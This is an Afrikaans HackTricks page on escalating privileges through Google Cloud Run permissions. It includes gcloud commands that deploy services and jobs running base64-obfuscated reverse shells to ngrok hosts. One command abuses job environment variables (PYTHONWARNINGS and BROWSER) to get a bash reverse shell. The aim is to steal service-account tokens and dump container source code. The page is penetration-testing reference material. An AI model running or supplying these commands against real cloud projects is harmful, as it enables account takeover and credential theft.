GCP - Run Privesc

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Cloud Run

Vir meer inligting oor Cloud Run, kyk:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

'n Aanvaller met hierdie toestemmings om 'n run-diens te skep wat arbitrêre kode uitvoer (arbitrêre Docker-houer), 'n Diensrekening daaraan te heg, en die kode om die Diensrekening-token uit die metadata te eksfiltreer.

'n Uitbuitingskrip vir hierdie metode kan hier gevind word hier en die Docker-beeld kan hier gevind word hier.

Let daarop dat wanneer jy gcloud run deploy gebruik in plaas van net die diens te skep dit die update toestemming benodig. Kyk na 'n voorbeeld hier.

run.services.update , iam.serviceAccounts.actAs

Soos die vorige een maar deur 'n diens te opdateer:

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Gee jouself vorige toestemmings oor cloud Run.

run.jobs.create, run.jobs.run, (run.jobs.get)

Begin 'n taak met 'n omgekeerde dop om die diensrekening wat in die opdrag aangedui word, te steel. Jy kan 'n exploit hier vind.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Net soos die vorige een is dit moontlik om 'n taak op te dateer en die SA op te dateer, die bevel en dit uit te voer:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Misbruik die omgewingsveranderlikes van 'n taakuitvoering om arbitrêre kode uit te voer en 'n omgekeerde dop te kry om die inhoud van die houer (bronkode) te dump en toegang te verkry tot die SA binne-in die metadata:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

çrun.jobs.setIamPolicy

Gee jouself die vorige regte oor Cloud Jobs.

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated